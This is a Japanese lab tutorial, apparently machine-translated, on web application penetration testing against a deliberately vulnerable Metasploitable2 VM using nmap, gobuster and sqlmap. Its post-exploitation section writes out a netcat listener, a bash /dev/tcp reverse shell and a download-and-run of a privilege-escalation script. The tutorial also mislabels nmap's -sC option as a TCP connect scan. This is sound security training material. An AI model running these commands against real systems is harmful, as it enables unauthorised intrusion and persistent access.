Nmap を使用したウェブアプリケーションのペネトレーションテストの実施

NmapNmapBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、情報セキュリティの重要な側面であるウェブアプリケーションのペネトレーションテストについて学びます。ウェブアプリケーションは様々な分野で広く使用されているため、そのセキュリティは最優先事項となっています。この実験の目的は、ターゲットマシン上にホストされている脆弱なウェブアプリケーションの脆弱性を特定し、悪用する実践的な経験を提供することです。具体的には、一般的なウェブアプリケーションの脆弱性とそれを悪用するために使用される手法を理解することです。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) wireshark(("Wireshark")) -.-> wireshark/WiresharkGroup(["Wireshark"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") wireshark/WiresharkGroup -.-> wireshark/installation("Installation and Setup") wireshark/WiresharkGroup -.-> wireshark/packet_capture("Packet Capture") subgraph Lab Skills nmap/installation -.-> lab-416136{{"Nmap を使用したウェブアプリケーションのペネトレーションテストの実施"}} nmap/port_scanning -.-> lab-416136{{"Nmap を使用したウェブアプリケーションのペネトレーションテストの実施"}} nmap/host_discovery -.-> lab-416136{{"Nmap を使用したウェブアプリケーションのペネトレーションテストの実施"}} nmap/target_specification -.-> lab-416136{{"Nmap を使用したウェブアプリケーションのペネトレーションテストの実施"}} nmap/service_detection -.-> lab-416136{{"Nmap を使用したウェブアプリケーションのペネトレーションテストの実施"}} wireshark/installation -.-> lab-416136{{"Nmap を使用したウェブアプリケーションのペネトレーションテストの実施"}} wireshark/packet_capture -.-> lab-416136{{"Nmap を使用したウェブアプリケーションのペネトレーションテストの実施"}} end

環境のセットアップ

このステップでは、実験環境をセットアップし、ツールとターゲットシステムに慣れ親しみます。

まず、Kali Linux イメージの ID を取得する必要があります。これは、デスクトップ上の xfce ターミナルをダブルクリックして、以下のコマンドを実行することで表示できます。

docker images

次に、攻撃マシンとなる Kali Linux コンテナを起動する必要があります。ターミナルを開き、以下のコマンドを実行します。

docker run -ti --network host image-id bash

このコマンドは、新しい Kali Linux コンテナを起動し、そのシェルと対話できるようにします。

次に、新しいターミナルを開き、ターゲットマシンである Metasploitable2 という脆弱なシステムを起動する必要があります。以下のコマンドを実行して仮想マシンを起動します。

sudo virsh start Metasploitable2

ターゲットマシンが起動するのを待ちます。起動には 1 ~ 3 分かかる場合があります。

仮想マシンが起動したら、Kali Linux コンテナからターゲットマシンに ping を送信できることを確認します。

ping 192.168.122.102

情報収集とレコナッサンス

このステップでは、様々な手法を用いてターゲットシステムの情報収集とレコナッサンスを行います。

まず、Kali Linux コンテナ内で nmap ツールを使用してターゲットマシンをスキャンし、開いているポートと実行中のサービスを特定します。

nmap -sV -sC -oN nmap_scan.txt 192.168.122.102

このコマンドは、TCP コネクトスキャン (-sC) を行ってどのポートが開いているかを判断し、バージョンスキャン (-sV) を行って各開いているポートで実行されているサービスとそのバージョンを特定します。出力は nmap_scan.txt という名前のファイルに保存されます (-oN)。

スキャンにはしばらく時間がかかります。スキャンが完了したら、cat コマンドを使用して nmap_scan.txt ファイルを確認し、開いているポートとサービスに基づいて潜在的な攻撃経路を特定します。

cat nmap_scan.txt

次に、gobuster ツールを使用してターゲットウェブサーバーのディレクトリとファイルの列挙を行います。

gobuster dir -u http://192.168.122.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -o gobuster_scan.txt

このコマンドは、指定されたワードリスト (-w) を使用してターゲットウェブサーバー上のディレクトリとファイルをブルートフォースします。-t オプションは同時実行スレッドの数を指定し、-o オプションは出力を gobuster_scan.txt という名前のファイルに保存します。

gobuster_scan.txt ファイルを分析して、追加の情報や攻撃経路を提供する可能性のある興味深いディレクトリやファイルを特定します。

脆弱性の悪用

このステップでは、前のステップで特定した脆弱性を悪用しようと試みます。

nmap と gobuster のスキャンから収集した情報に基づいて、ターゲットシステムの潜在的な脆弱性を特定します。たとえば、ウェブアプリケーションやサービスの古いバージョンを発見した場合、そのバージョンに関する既知の脆弱性を調査し、悪用しようと試みます。

ウェブアプリケーションで見つかる一般的な脆弱性の 1 つが SQL インジェクションです。ターゲットのウェブアプリケーションが SQL インジェクションに対して脆弱であると仮定しましょう。Kali Linux コンテナ内で sqlmap ツールを使用して、SQL インジェクション脆弱性の検出と悪用のプロセスを自動化することができます。

sqlmap -u http://192.168.122.102/vulnerable_page.php --batch --risk=3 --level=5 --random-agent --dbs

このコマンドは、指定された URL (-u) で SQL インジェクション脆弱性の検出と悪用を試みます。--batch オプションは sqlmap を非対話モードで実行し、--risk=3 はリスクレベルを 3(最大)に設定し、--level=5 は SQL インジェクションテストのレベルを 5(最大)に設定します。--random-agent オプションはランダムなユーザーエージェント文字列を指定し、--dbs はすべてのデータベースの名前を取得しようと試みます。

悪用しようとする脆弱性に応じて、異なるツールや手法を使用する必要がある場合があります。特定の脆弱性とツールのドキュメントやリソースを参照してください。

攻撃後の操作と権限昇格

このステップでは、脆弱性の悪用に成功した後、ターゲットシステムへのアクセスを維持し、権限を昇格させることを試みます。

脆弱性を介してターゲットシステムにアクセスできたと仮定します。次のステップは、永続的なバックドアまたはリバースシェルを設定することです。これにより、最初の脆弱性が修正された場合でもシステムへのアクセスを維持できます。

リバースシェルを設定する方法の 1 つは、netcat ユーティリティを使用することです。Kali Linux コンテナで以下のコマンドを実行します。

nc -lvnp 4444

このコマンドは、ポート 4444 で着信接続を待ち受けます。

ターゲットシステムでは、以下のコマンドを実行してリバースシェルを設定します。

bash -c 'bash -i >& /dev/tcp/<Kali IP>/4444 0>&1'

<Kali IP> をあなたの Kali Linux コンテナの IP アドレスに置き換えてください。コンテナの IP アドレスは ifconfig を使用して確認できます。

リバースシェルが設定されたら、ターゲットシステムの権限を昇格させることを試みることができます。一般的な手法の 1 つは、linux-exploit-suggester ツールを使用して権限昇格の脆弱性を検索することです。

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh > /home/labex/linux-exploit-suggester.txt

このスクリプトはターゲットシステムを分析し、権限昇格に使用できる潜在的なカーネルエクスプロイトを提案します。

まとめ

この実験では、ウェブアプリケーションのペネトレーションテストについて学び、ターゲットマシン上にホストされている脆弱なウェブアプリケーションの脆弱性を特定して悪用する実践的な経験を積みました。ペネトレーションテストのレコナッサンス、情報収集、脆弱性の悪用、攻撃後の操作の各段階で使用される様々な手法とツールを学びました。

この実験は、実際のシナリオを練習し、ウェブアプリケーションセキュリティのスキルを向上させるためのコントロールされた環境を提供しました。手順に従うことで、実験環境のセットアップ、レコナッサンスと情報収集の実施、SQL インジェクションなどの脆弱性の悪用、永続的なバックドアの設定、ターゲットシステムでの権限昇格の試みを学びました。

この実験により、ウェブアプリケーションのペネトレーションテストに関する実践的な知識と経験を身につけました。これは、ウェブアプリケーションをセキュアにし、悪意のある攻撃者によって悪用される前に潜在的な脆弱性を特定するために不可欠です。